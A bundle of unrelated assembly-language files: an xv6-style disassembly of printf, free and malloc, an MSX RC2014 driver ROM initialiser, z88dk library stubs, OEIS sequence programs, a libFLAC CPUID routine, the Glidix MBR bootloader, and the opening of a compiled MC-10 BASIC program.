495: 0f 84 05 01 00 00 je 5a0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
49b: 81 e1 f7 00 00 00 and $0xf7,%ecx
4a1: 83 f9 70 cmp $0x70,%ecx
4a4: 74 72 je 518 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
4a6: 83 f8 73 cmp $0x73,%eax
4a9: 0f 84 99 00 00 00 je 548 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4af: 83 f8 63 cmp $0x63,%eax
4b2: 0f 84 08 01 00 00 je 5c0 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
4b8: 83 f8 25 cmp $0x25,%eax
4bb: 0f 84 ef 00 00 00 je 5b0 <printf+0x180>
write(fd, &c, 1);
4c1: 8d 45 e7 lea -0x19(%ebp),%eax
4c4: 83 ec 04 sub $0x4,%esp
4c7: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4cb: 6a 01 push $0x1
4cd: 50 push %eax
4ce: ff 75 08 pushl 0x8(%ebp)
4d1: e8 1c fe ff ff call 2f2 <write>
4d6: 83 c4 0c add $0xc,%esp
4d9: 8d 45 e6 lea -0x1a(%ebp),%eax
4dc: 88 5d e6 mov %bl,-0x1a(%ebp)
4df: 6a 01 push $0x1
4e1: 50 push %eax
4e2: ff 75 08 pushl 0x8(%ebp)
4e5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4e8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ea: e8 03 fe ff ff call 2f2 <write>
for(i = 0; fmt[i]; i++){
4ef: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4f3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4f6: 84 db test %bl,%bl
4f8: 75 89 jne 483 <printf+0x53>
}
}
}
4fa: 8d 65 f4 lea -0xc(%ebp),%esp
4fd: 5b pop %ebx
4fe: 5e pop %esi
4ff: 5f pop %edi
500: 5d pop %ebp
501: c3 ret
502: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
508: bf 25 00 00 00 mov $0x25,%edi
50d: e9 66 ff ff ff jmp 478 <printf+0x48>
512: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
518: 83 ec 0c sub $0xc,%esp
51b: b9 10 00 00 00 mov $0x10,%ecx
520: 6a 00 push $0x0
522: 8b 7d d4 mov -0x2c(%ebp),%edi
525: 8b 45 08 mov 0x8(%ebp),%eax
528: 8b 17 mov (%edi),%edx
52a: e8 61 fe ff ff call 390 <printint>
ap++;
52f: 89 f8 mov %edi,%eax
531: 83 c4 10 add $0x10,%esp
state = 0;
534: 31 ff xor %edi,%edi
ap++;
536: 83 c0 04 add $0x4,%eax
539: 89 45 d4 mov %eax,-0x2c(%ebp)
53c: e9 37 ff ff ff jmp 478 <printf+0x48>
541: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
548: 8b 45 d4 mov -0x2c(%ebp),%eax
54b: 8b 08 mov (%eax),%ecx
ap++;
54d: 83 c0 04 add $0x4,%eax
550: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
553: 85 c9 test %ecx,%ecx
555: 0f 84 8e 00 00 00 je 5e9 <printf+0x1b9>
while(*s != 0){
55b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
55e: 31 ff xor %edi,%edi
s = (char*)*ap;
560: 89 cb mov %ecx,%ebx
while(*s != 0){
562: 84 c0 test %al,%al
564: 0f 84 0e ff ff ff je 478 <printf+0x48>
56a: 89 75 d0 mov %esi,-0x30(%ebp)
56d: 89 de mov %ebx,%esi
56f: 8b 5d 08 mov 0x8(%ebp),%ebx
572: 8d 7d e3 lea -0x1d(%ebp),%edi
575: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
578: 83 ec 04 sub $0x4,%esp
s++;
57b: 83 c6 01 add $0x1,%esi
57e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
581: 6a 01 push $0x1
583: 57 push %edi
584: 53 push %ebx
585: e8 68 fd ff ff call 2f2 <write>
while(*s != 0){
58a: 0f b6 06 movzbl (%esi),%eax
58d: 83 c4 10 add $0x10,%esp
590: 84 c0 test %al,%al
592: 75 e4 jne 578 <printf+0x148>
594: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
597: 31 ff xor %edi,%edi
599: e9 da fe ff ff jmp 478 <printf+0x48>
59e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
5a0: 83 ec 0c sub $0xc,%esp
5a3: b9 0a 00 00 00 mov $0xa,%ecx
5a8: 6a 01 push $0x1
5aa: e9 73 ff ff ff jmp 522 <printf+0xf2>
5af: 90 nop
write(fd, &c, 1);
5b0: 83 ec 04 sub $0x4,%esp
5b3: 88 5d e5 mov %bl,-0x1b(%ebp)
5b6: 8d 45 e5 lea -0x1b(%ebp),%eax
5b9: 6a 01 push $0x1
5bb: e9 21 ff ff ff jmp 4e1 <printf+0xb1>
putc(fd, *ap);
5c0: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
5c3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
5c6: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
5c8: 6a 01 push $0x1
ap++;
5ca: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
5cd: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5d0: 8d 45 e4 lea -0x1c(%ebp),%eax
5d3: 50 push %eax
5d4: ff 75 08 pushl 0x8(%ebp)
5d7: e8 16 fd ff ff call 2f2 <write>
ap++;
5dc: 89 7d d4 mov %edi,-0x2c(%ebp)
5df: 83 c4 10 add $0x10,%esp
state = 0;
5e2: 31 ff xor %edi,%edi
5e4: e9 8f fe ff ff jmp 478 <printf+0x48>
s = "(null)";
5e9: bb bb 07 00 00 mov $0x7bb,%ebx
while(*s != 0){
5ee: b8 28 00 00 00 mov $0x28,%eax
5f3: e9 72 ff ff ff jmp 56a <printf+0x13a>
5f8: 66 90 xchg %ax,%ax
5fa: 66 90 xchg %ax,%ax
5fc: 66 90 xchg %ax,%ax
5fe: 66 90 xchg %ax,%ax
00000600 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
600: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
601: a1 74 0a 00 00 mov 0xa74,%eax
{
606: 89 e5 mov %esp,%ebp
608: 57 push %edi
609: 56 push %esi
60a: 53 push %ebx
60b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
60e: 8d 4b f8 lea -0x8(%ebx),%ecx
611: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
618: 39 c8 cmp %ecx,%eax
61a: 8b 10 mov (%eax),%edx
61c: 73 32 jae 650 <free+0x50>
61e: 39 d1 cmp %edx,%ecx
620: 72 04 jb 626 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
622: 39 d0 cmp %edx,%eax
624: 72 32 jb 658 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
626: 8b 73 fc mov -0x4(%ebx),%esi
629: 8d 3c f1 lea (%ecx,%esi,8),%edi
62c: 39 fa cmp %edi,%edx
62e: 74 30 je 660 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
630: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
633: 8b 50 04 mov 0x4(%eax),%edx
636: 8d 34 d0 lea (%eax,%edx,8),%esi
639: 39 f1 cmp %esi,%ecx
63b: 74 3a je 677 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
63d: 89 08 mov %ecx,(%eax)
freep = p;
63f: a3 74 0a 00 00 mov %eax,0xa74
}
644: 5b pop %ebx
645: 5e pop %esi
646: 5f pop %edi
647: 5d pop %ebp
648: c3 ret
649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
650: 39 d0 cmp %edx,%eax
652: 72 04 jb 658 <free+0x58>
654: 39 d1 cmp %edx,%ecx
656: 72 ce jb 626 <free+0x26>
{
658: 89 d0 mov %edx,%eax
65a: eb bc jmp 618 <free+0x18>
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
660: 03 72 04 add 0x4(%edx),%esi
663: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
666: 8b 10 mov (%eax),%edx
668: 8b 12 mov (%edx),%edx
66a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
66d: 8b 50 04 mov 0x4(%eax),%edx
670: 8d 34 d0 lea (%eax,%edx,8),%esi
673: 39 f1 cmp %esi,%ecx
675: 75 c6 jne 63d <free+0x3d>
p->s.size += bp->s.size;
677: 03 53 fc add -0x4(%ebx),%edx
freep = p;
67a: a3 74 0a 00 00 mov %eax,0xa74
p->s.size += bp->s.size;
67f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
682: 8b 53 f8 mov -0x8(%ebx),%edx
685: 89 10 mov %edx,(%eax)
}
687: 5b pop %ebx
688: 5e pop %esi
689: 5f pop %edi
68a: 5d pop %ebp
68b: c3 ret
68c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000690 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 57 push %edi
694: 56 push %esi
695: 53 push %ebx
696: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
699: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
69c: 8b 15 74 0a 00 00 mov 0xa74,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6a2: 8d 78 07 lea 0x7(%eax),%edi
6a5: c1 ef 03 shr $0x3,%edi
6a8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
6ab: 85 d2 test %edx,%edx
6ad: 0f 84 9d 00 00 00 je 750 <malloc+0xc0>
6b3: 8b 02 mov (%edx),%eax
6b5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
6b8: 39 cf cmp %ecx,%edi
6ba: 76 6c jbe 728 <malloc+0x98>
6bc: 81 ff 00 10 00 00 cmp $0x1000,%edi
6c2: bb 00 10 00 00 mov $0x1000,%ebx
6c7: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
6ca: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6d1: eb 0e jmp 6e1 <malloc+0x51>
6d3: 90 nop
6d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6d8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6da: 8b 48 04 mov 0x4(%eax),%ecx
6dd: 39 f9 cmp %edi,%ecx
6df: 73 47 jae 728 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6e1: 39 05 74 0a 00 00 cmp %eax,0xa74
6e7: 89 c2 mov %eax,%edx
6e9: 75 ed jne 6d8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6eb: 83 ec 0c sub $0xc,%esp
6ee: 56 push %esi
6ef: e8 66 fc ff ff call 35a <sbrk>
if(p == (char*)-1)
6f4: 83 c4 10 add $0x10,%esp
6f7: 83 f8 ff cmp $0xffffffff,%eax
6fa: 74 1c je 718 <malloc+0x88>
hp->s.size = nu;
6fc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6ff: 83 ec 0c sub $0xc,%esp
702: 83 c0 08 add $0x8,%eax
705: 50 push %eax
706: e8 f5 fe ff ff call 600 <free>
return freep;
70b: 8b 15 74 0a 00 00 mov 0xa74,%edx
if((p = morecore(nunits)) == 0)
711: 83 c4 10 add $0x10,%esp
714: 85 d2 test %edx,%edx
716: 75 c0 jne 6d8 <malloc+0x48>
return 0;
}
}
718: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
71b: 31 c0 xor %eax,%eax
}
71d: 5b pop %ebx
71e: 5e pop %esi
71f: 5f pop %edi
720: 5d pop %ebp
721: c3 ret
722: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
728: 39 cf cmp %ecx,%edi
72a: 74 54 je 780 <malloc+0xf0>
p->s.size -= nunits;
72c: 29 f9 sub %edi,%ecx
72e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
731: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
734: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
737: 89 15 74 0a 00 00 mov %edx,0xa74
}
73d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
740: 83 c0 08 add $0x8,%eax
}
743: 5b pop %ebx
744: 5e pop %esi
745: 5f pop %edi
746: 5d pop %ebp
747: c3 ret
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
750: c7 05 74 0a 00 00 78 movl $0xa78,0xa74
757: 0a 00 00
75a: c7 05 78 0a 00 00 78 movl $0xa78,0xa78
761: 0a 00 00
base.s.size = 0;
764: b8 78 0a 00 00 mov $0xa78,%eax
769: c7 05 7c 0a 00 00 00 movl $0x0,0xa7c
770: 00 00 00
773: e9 44 ff ff ff jmp 6bc <malloc+0x2c>
778: 90 nop
779: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
780: 8b 08 mov (%eax),%ecx
782: 89 0a mov %ecx,(%edx)
784: eb b1 jmp 737 <malloc+0xa7>
|
; allows for installation of expansion devices that contain extra OS subroutines
ROM_INIT:
CALL PROBE_HARDWARE
LD A, (RS_HOKVLD)
BIT 0, A
JR NZ, INJECT_HOOK_HANDLERS
; THERE IS NO EXTBIO INSTALL - SO WE HAVE TO INITIALISE
LD A, 1
LD (RS_HOKVLD), A
LD A, $C9
LD (RS_MEXBIH), A ; SET OPERATION CODE OF 'RET'
JR INST_HOOK
INJECT_HOOK_HANDLERS:
XOR A
LD (RS_FLAGS), A ; ENSURE RS232 IS MARKED AS CLOSED WITH RTS_OFF
LD DE, RS_MEXBIH ; COPY EXTBIO HOOK FUNCTION FROM H_BEXT TO RS_MEXBIH
LD HL, H_BEXT
LD BC, 5
LDIR
INST_HOOK:
DI
LD A, $F7 ; 'RST 30H' INTER-SLOT CALL OPERATION CODE
LD (H_BEXT), A ; SET NEW HOOK OP-CODE
CALL GETSL10 ; GET OUR SLOT ID (EXPECT 3-3 $F7)
LD (H_BEXT+1), A ; SET SLOT ADDRESS
LD HL, EXTBIO ; GET OUR INTERRUPT ENTRY POINT
LD (H_BEXT+2), HL ; SET NEW INTERRUPT ENTRY POINT
LD A, $C9 ; 'RET' OPERATION CODE
LD (H_BEXT+4), A ; SET OPERATION CODE OF 'RET'
EI
LD HL, FOSSIL_DRV_LENGTH ; ALLOC MEMORY FOR FOSSIL JUMP TABLE
CALL ALLOC ; THIS MAY NOT WORK IF IT HAPENS BEFORE DISK ROM
LD (WORK), HL
JR C, ALLOC_FAILED
; FOR PERFORMANCE REASONS, WE KNOW WE ARE SLOT 3-3 - SO JUST HARD CODE THE SLTWRK OFFSET
; CALL WSLW10
LD DE, FOSSIL_DRV_START
EX DE, HL
LD BC, FOSSIL_DRV_LENGTH
LDIR
; relocate the fossil driver
LD IX, (WORK)
LD HL, FOSSILE_DRV_MAP + 2
LD BC, (FOSSILE_DRV_MAP)
exx
ld de, (WORK) ; DE' => amount required to be added to
exx
LOOP:
PUSH BC
LD B, 8
LD A, (HL)
INC HL
NEXT:
RLCA
JR NC, SKIP
EXX
LD L, (IX)
INC IX
LD H, (IX)
ADD HL, DE
LD (IX), H
DEC IX
LD (IX), L
EXX
SKIP:
INC IX
DEC B
JR NZ, NEXT
POP BC
DEC BC
LD A, C
OR B
JR NZ, LOOP
RET
ALLOC_FAILED:
LD DE, MSG.ALLOC_FAILED
CALL PRINT
RET
MSG.ALLOC_FAILED:
DB "RC2014 Driver: Insufficient page 3 memory available", 13, 10, 0
FOSSIL_DRV_START:
if SYMBOL_ONLY=1
INCBIN "bin/fossil_xxx.bin"
else
INCBIN "bin/fossil_000.bin"
endif
FOSSIL_DRV_LENGTH EQU $-FOSSIL_DRV_START
FOSSILE_DRV_MAP:
if SYMBOL_ONLY=1
INCBIN "bin/fossil-map-xxx.bin"
else
INCBIN "bin/fossil-map.bin"
endif
|
; void *heap_alloc_fixed(void *heap, void *p, size_t size)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_alloc_malloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC heap_alloc_fixed_callee
EXTERN asm_heap_alloc_fixed
heap_alloc_fixed_callee:
pop af
pop hl
pop bc
pop de
push af
jp asm_heap_alloc_fixed
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC heap_alloc_fixed_callee
EXTERN heap_alloc_fixed_unlocked_callee
defc heap_alloc_fixed_callee = heap_alloc_fixed_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
; A071038: Triangle read by rows giving successive states of cellular automaton generated by "Rule 182".
; Submitted by Jon Maiga
; 1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1
lpb $0
add $1,1
sub $0,$1
add $1,1
lpe
add $0,1
add $1,2
bin $1,$0
mov $0,$1
add $0,1
mod $0,2
|
; int isunordered(real-floating x, real-floating y)
SECTION code_clib
SECTION code_fp_math48
PUBLIC am48_isunordered
EXTERN error_znc
; doubles are always ordered in this library
;
; return HL = 0 with carry reset (false)
defc am48_isunordered = error_znc
|
; void in_mouse_amx_callee(uint8_t *buttons, uint16_t *x, uint16_t *y)
SECTION code_input
PUBLIC in_mouse_amx_callee
EXTERN asm_in_mouse_amx
in_mouse_amx_callee:
call asm_in_mouse_amx
pop ix
pop hl
ld (hl),c
inc hl
ld (hl),b
pop hl
ld (hl),e
inc hl
ld (hl),d
pop hl
ld (hl),a
jp (ix)
|
; A034262: a(n) = n^3 + n.
; 0,2,10,30,68,130,222,350,520,738,1010,1342,1740,2210,2758,3390,4112,4930,5850,6878,8020,9282,10670,12190,13848,15650,17602,19710,21980,24418,27030,29822,32800,35970,39338,42910,46692,50690,54910,59358,64040,68962,74130,79550,85228,91170,97382,103870,110640,117698,125050,132702,140660,148930,157518,166430,175672,185250,195170,205438,216060,227042,238390,250110,262208,274690,287562,300830,314500,328578,343070,357982,373320,389090,405298,421950,439052,456610,474630,493118,512080,531522,551450,571870,592788,614210,636142,658590,681560,705058,729090,753662,778780,804450,830678,857470,884832,912770,941290,970398,1000100,1030402,1061310,1092830,1124968,1157730,1191122,1225150,1259820,1295138,1331110,1367742,1405040,1443010,1481658,1520990,1561012,1601730,1643150,1685278,1728120,1771682,1815970,1860990,1906748,1953250,2000502,2048510,2097280,2146818,2197130,2248222,2300100,2352770,2406238,2460510,2515592,2571490,2628210,2685758,2744140,2803362,2863430,2924350,2986128,3048770,3112282,3176670,3241940,3308098,3375150,3443102,3511960,3581730,3652418,3724030,3796572,3870050,3944470,4019838,4096160,4173442,4251690,4330910,4411108,4492290,4574462,4657630,4741800,4826978,4913170,5000382,5088620,5177890,5268198,5359550,5451952,5545410,5639930,5735518,5832180,5929922,6028750,6128670,6229688,6331810,6435042,6539390,6644860,6751458,6859190,6968062,7078080,7189250,7301578,7415070,7529732,7645570,7762590,7880798,8000200,8120802,8242610,8365630,8489868,8615330,8742022,8869950,8999120,9129538,9261210,9394142,9528340,9663810,9800558,9938590,10077912,10218530,10360450,10503678,10648220,10794082,10941270,11089790,11239648,11390850,11543402,11697310,11852580,12009218,12167230,12326622,12487400,12649570,12813138,12978110,13144492,13312290,13481510,13652158,13824240,13997762,14172730,14349150,14527028,14706370,14887182,15069470,15253240,15438498
mov $1,$0
pow $0,3
add $1,$0
|
; vim:filetype=nasm ts=8
; libFLAC - Free Lossless Audio Codec library
; Copyright (C) 2001-2009 Josh Coalson
; Copyright (C) 2011-2016 Xiph.Org Foundation
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; - Neither the name of the Xiph.org Foundation nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
; PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
; NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "nasm.h"
data_section
cglobal FLAC__cpu_have_cpuid_asm_ia32
cglobal FLAC__cpu_info_asm_ia32
code_section
; **********************************************************************
;
; FLAC__uint32 FLAC__cpu_have_cpuid_asm_ia32()
;
cident FLAC__cpu_have_cpuid_asm_ia32
pushfd
pop eax
mov edx, eax
xor eax, 0x00200000
push eax
popfd
pushfd
pop eax
xor eax, edx
and eax, 0x00200000
shr eax, 0x15
push edx
popfd
ret
; **********************************************************************
;
; void FLAC__cpu_info_asm_ia32(FLAC__uint32 *flags_edx, FLAC__uint32 *flags_ecx)
;
cident FLAC__cpu_info_asm_ia32
;[esp + 8] == flags_edx
;[esp + 12] == flags_ecx
push ebx
call FLAC__cpu_have_cpuid_asm_ia32
test eax, eax
jz .no_cpuid
mov eax, 0
cpuid
cmp eax, 1
jb .no_cpuid
xor ecx, ecx
mov eax, 1
cpuid
mov ebx, [esp + 8]
mov [ebx], edx
mov ebx, [esp + 12]
mov [ebx], ecx
jmp .end
.no_cpuid:
xor eax, eax
mov ebx, [esp + 8]
mov [ebx], eax
mov ebx, [esp + 12]
mov [ebx], eax
.end:
pop ebx
ret
; end
|
; Glidix bootloader (gxboot)
;
; Copyright (c) 2014-2017, Madd Games.
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
bits 16
org 0x6000
; since we're messing with the stack we probably want to be careful
cli
; reset segment registers
xor ax, ax
mov ds, ax
mov ss, ax
mov es, ax
; relocate code from 0x7C00 to 0x6000
mov si, 0x7C00
mov di, 0x6000
mov cx, 512
cld
rep movsb
; set CS
jmp 0:start
start:
; set up the stack above the code
mov sp, 0x6000
; we can safely enable interrupts now
sti
; preserve boot device on the stack
push dx
; make sure INT13 extensions are present
mov ah, 0x41
; drive number already in DL
mov bx, 0x55AA
int 0x13
jc boot_failed
; test BX and whether reads are supported
cmp bx, 0xAA55
jne boot_failed
test cx, 1
jz boot_failed
; loop through partitions, find the active one
mov si, 0x61BE
mov cx, 4
part_search:
mov al, [si]
cmp al, 0x80
je part_found
add si, 16
loop part_search
jmp boot_failed ; no boot partition found
part_found:
; DS:SI now points to a bootable partition
mov eax, [si+8]
mov [dap.lba], eax
xor eax, eax
; restore drive number from stack, preserve SI
pop dx
push dx
push si
mov si, dap
mov ah, 0x42
int 0x13
jc boot_failed
; restore SI (pointer to partition entry) and drive number
pop si
pop dx
; jump to VBR
jmp 0:0x7C00
boot_failed:
int 0x18
dap:
db 0x10 ; size
db 0 ; unused
dw 1 ; number of sectors to read
dw 0x7C00 ; destination offset
dw 0 ; destination segment
.lba dd 0 ; LBA to read from
dd 0 ; high 32 bits of LBA, unused
|
; Assembly for testset-bytecode.bas
; compiled with mcbasic
; Equates for MC-10 MICROCOLOR BASIC 1.0
;
; Direct page equates
DP_LNUM .equ $E2 ; current line in BASIC
DP_TABW .equ $E4 ; current tab width on console
DP_LPOS .equ $E6 ; current line position on console
DP_LWID .equ $E7 ; current line width of console
;
; Memory equates
M_KBUF .equ $4231 ; keystrobe buffer (8 bytes)
M_PMSK .equ $423C ; pixel mask for SET, RESET and POINT
M_IKEY .equ $427F ; key code for INKEY$
M_CRSR .equ $4280 ; cursor location
M_LBUF .equ $42B2 ; line input buffer (130 chars)
M_MSTR .equ $4334 ; buffer for small string moves
M_CODE .equ $4346 ; start of program space
;
; ROM equates
R_BKMSG .equ $E1C1 ; 'BREAK' string location
R_ERROR .equ $E238 ; generate error and restore direct mode
R_BREAK .equ $E266 ; generate break and restore direct mode
R_RESET .equ $E3EE ; setup stack and disable CONT
R_SPACE .equ $E7B9 ; emit " " to console
R_QUEST .equ $E7BC ; emit "?" to console
R_REDO .equ $E7C1 ; emit "?REDO" to console
R_EXTRA .equ $E8AB ; emit "?EXTRA IGNORED" to console
R_DMODE .equ $F7AA ; display OK prompt and restore direct mode
R_KPOLL .equ $F879 ; if key is down, do KEYIN, else set Z CCR flag
R_KEYIN .equ $F883 ; poll key for key-down transition set Z otherwise
R_PUTC .equ $F9C9 ; write ACCA to console
R_MKTAB .equ $FA7B ; setup tabs for console
R_GETLN .equ $FAA4 ; get line, returning with X pointing to M_BUF-1
R_SETPX .equ $FB44 ; write pixel character to X
R_CLRPX .equ $FB59 ; clear pixel character in X
R_MSKPX .equ $FB7C ; get pixel screen location X and mask in R_PMSK
R_CLSN .equ $FBC4 ; clear screen with color code in ACCB
R_CLS .equ $FBD4 ; clear screen with space character
R_SOUND .equ $FFAB ; play sound with pitch in ACCA and duration in ACCB
R_MCXID .equ $FFDA ; ID location for MCX BASIC
; direct page registers
.org $80
strtcnt .block 1
strbuf .block 2
strend .block 2
strfree .block 2
strstop .block 2
dataptr .block 2
inptptr .block 2
redoptr .block 2
letptr .block 2
.org $a3
r1 .block 5
r2 .block 5
rend
rvseed .block 2
curinst .block 2
nxtinst .block 2
tmp1 .block 2
tmp2 .block 2
tmp3 .block 2
tmp4 .block 2
tmp5 .block 2
argv .block 10
.org M_CODE
.module mdmain
ldx #program
stx nxtinst
mainloop
ldx nxtinst
stx curinst
ldab ,x
ldx #catalog
abx
abx
ldx ,x
jsr 0,x
bra mainloop
program
.byte bytecode_progbegin
.byte bytecode_clear
LINE_10
; SET(1,1,2)
.byte bytecode_ld_ir1_pb
.byte 1
.byte bytecode_ld_ir2_pb
.byte 1
.byte bytecode_setc_ir1_ir2_pb
.byte 2
